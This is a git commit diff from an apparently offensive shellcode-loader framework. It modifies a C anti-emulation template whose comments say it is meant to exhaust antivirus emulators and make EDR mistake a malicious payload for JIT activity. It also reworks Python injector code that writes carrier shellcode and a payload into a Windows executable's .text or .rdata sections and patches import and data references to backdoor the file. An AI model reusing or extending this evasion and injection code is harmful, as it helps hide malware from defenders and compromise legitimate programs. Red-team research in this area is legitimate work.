This commit is contained in:
Dobin Rutishauser
2024-07-07 21:40:23 +02:00
10 changed files with 103 additions and 60 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
+21 -28
View File
@@ -1,28 +1,31 @@
#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}}
#define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}}
#define SIR_SLEEP_TIME 200 // ms
/* This will allocate SIR_ALLOC_COUNT RW memory regions,
set them to RX, and free them
set them to RX, and free them.
And this SIR_ITERATION_COUNT times.
SIR_ITERATION_COUNT: Single digits, around 5
SIR_ALLOC_COUNT: Tripple digits, around 100
The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or
number of API calls, or time.
Memory : SIR_ALLOC_COUNT * payload_length
Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT
Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ?
API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3
It hopefully also makes the EDR think this program is doing some
kind of interpreter or JIT compilation, and not a malicious payload.
The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or
number of API calls, or time.
It hopefully also makes the EDR think this program is doing some
kind of interpreter or JIT compilation, and not a malicious payload.
*/
void antiemulation() {
void* allocs[SIR_ALLOC_COUNT];
void* allocs[{{SIR_ALLOC_COUNT}}];
DWORD result;
for(int i=0; i<SIR_ITERATION_COUNT; i++) {
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) {
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
allocs[n] = VirtualAlloc(
NULL,
{{PAYLOAD_LEN}},
@@ -37,33 +40,23 @@ void antiemulation() {
}
}
// Write something.
/*for(int n=0; n<SIR_ALLOC_COUNT; n++) {
char *alloc = allocs[n];
alloc[0] = 0; // overwrite the first byte
}*/
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
if (VirtualProtect(
allocs[n],
{{PAYLOAD_LEN}},
p_RX,
&result) == 0)
{
return 7;
return;
}
}
Sleep(SIR_SLEEP_TIME);
BOOL bSuccess;
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
bSuccess = VirtualFree(
allocs[n],
{{PAYLOAD_LEN}},
0x00008000); // MEM_RELEASE
}
}
}
@@ -22,6 +22,8 @@ char *supermega_payload;
{{plugin_executionguardrail}}
{{plugin_virtualprotect}}
int main()
{
+4
View File
@@ -23,6 +23,10 @@ class Settings():
self.dllfunc: str = "" # For DLL injection
# Anti-debugging
self.sir_iteration_count: int = 5
self.sir_alloc_count: int = 100
# Injectable
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
self.inject_exe_in: FilePath = ""
+1 -1
View File
@@ -129,7 +129,7 @@ class SuperPe():
def has_rodata_section(self) -> bool:
return self.get_section_by_name(".rdata")
return self.get_section_by_name(".rdata") != None
def write_code_section_data(self, data: bytes):
+60 -24
View File
@@ -45,30 +45,62 @@ class Injector():
def init_addresses(self):
rm = self.superpe.get_code_rangemanager()
if self.settings.payload_location == PayloadLocation.CODE:
#. text
# ┌───────────┬─────────────────────────────────────┬───────┐
# │ ├────────┼────────┼───────────────────┤ │
# │ │Carrier │ 1 Page │ Payload │ │
# │ ├────────┼────────┼───────────────────┤ │
# └───────────┴─────────────────────────────────────┴───────┘
#
# Payload is page aligned when used with dll_loader_change
# TECHNIQUE0:
# assume payload is big, find a place for it, then prepend carrier (small)
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
# carrier location
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
rm = self.superpe.get_code_rangemanager()
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
# payload location: behind carrier + 1 page
if self.settings.carrier_name == "dll_loader_change":
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096
self.payload_rva = self.payload_rva & 0xFFFFF000 # page align
else:
# no page align
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096
else:
# .text .rdata
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# align to center
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
# carrier location
rm = self.superpe.get_code_rangemanager()
complete_size = len(self.carrier_shc)
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
if self.settings.carrier_name == "dll_loader_change":
# Align to page size
offset = offset & 0xFFFFF000
# page aligned possibly
self.payload_rva = offset
# prepend it a bit
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
# payload location
rdata_rm = self.superpe.get_rdata_rangemanager()
complete_size = len(self.payload.payload_data)
largest_gap = rdata_rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = largest_gap[0][0]
self.payload_rva = self.superpe.get_section_by_name(".rdata").virt_addr + offset
## Inject
@@ -105,6 +137,9 @@ class Injector():
else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
if carrier_offset == None:
raise Exception("Carrier Offset is None, invalid carrier RVA? 0x{:X}".format(self.carrier_rva))
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
@@ -205,7 +240,9 @@ class Injector():
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(placeholder)
))
idx = code.index(placeholder)
code = code.replace(placeholder, jmp)
asm_disasm(code[idx:idx+7])
self.superpe.write_code_section_data(code)
@@ -217,8 +254,6 @@ class Injector():
# nothing todo
return
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
# insert data
logger.info("---( DataReuseFixups: Inject the data")
for datareuse_fixup in reusedata_fixups:
@@ -226,6 +261,7 @@ class Injector():
datareuse_fixup.string_ref, datareuse_fixup.in_code))
if datareuse_fixup.in_code: # .text
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
@@ -270,8 +306,8 @@ class Injector():
)
asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(ref.placeholder):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
len(lea), len(ref.placeholder)
raise Exception("DataReuseFixup: lea instr has different length than placeholder {}: {} != {} abort".format(
ref.placeholder, len(lea), len(ref.placeholder)
))
code = code.replace(ref.placeholder, lea)
+11 -7
View File
@@ -60,15 +60,19 @@ def create_c_from_template(settings: Settings, payload_len: int):
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
settings.plugin_antiemulation)
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
sir_iteration_count = 5
sir_alloc_count = int(config.get("sir_target_mem") / payload_len)+1
# if too large, compiler will add a __checkstk dependency
if sir_alloc_count > 256:
sir_alloc_count = 256
logging.info(" AntiEmulation target: iterations: {} alloc: {}".format(
sir_iteration_count = settings.sir_iteration_count
sir_alloc_count = settings.sir_alloc_count
# sir_alloc_count = int((int(config.get("sir_target_mem")) / payload_len))+1
max_alloc_count = 256
if sir_alloc_count > max_alloc_count:
# if too large, compiler will add a __checkstk dependency
logging.warning("Too large sir allocation count {}, setting to max {}".format(
sir_alloc_count, max_alloc_count
))
sir_alloc_count = max_alloc_count
logging.info("> AntiEmulation: iterations: {} allocs: {}".format(
sir_iteration_count, sir_alloc_count)
)
plugin_antiemualation = file.read()
plugin_antiemualation = Template(plugin_antiemualation).render({
'PAYLOAD_LEN': payload_len,
+4
View File
@@ -203,6 +203,10 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode)
logging.info("> Carrier Size: {} Payload Size: {}".format(
len(carrier_shellcode), len(project.payload.payload_data)
))
# INJECT loader into an exe and do IAT & data references. Big task.
injector = phases.injector.Injector(
carrier_shellcode,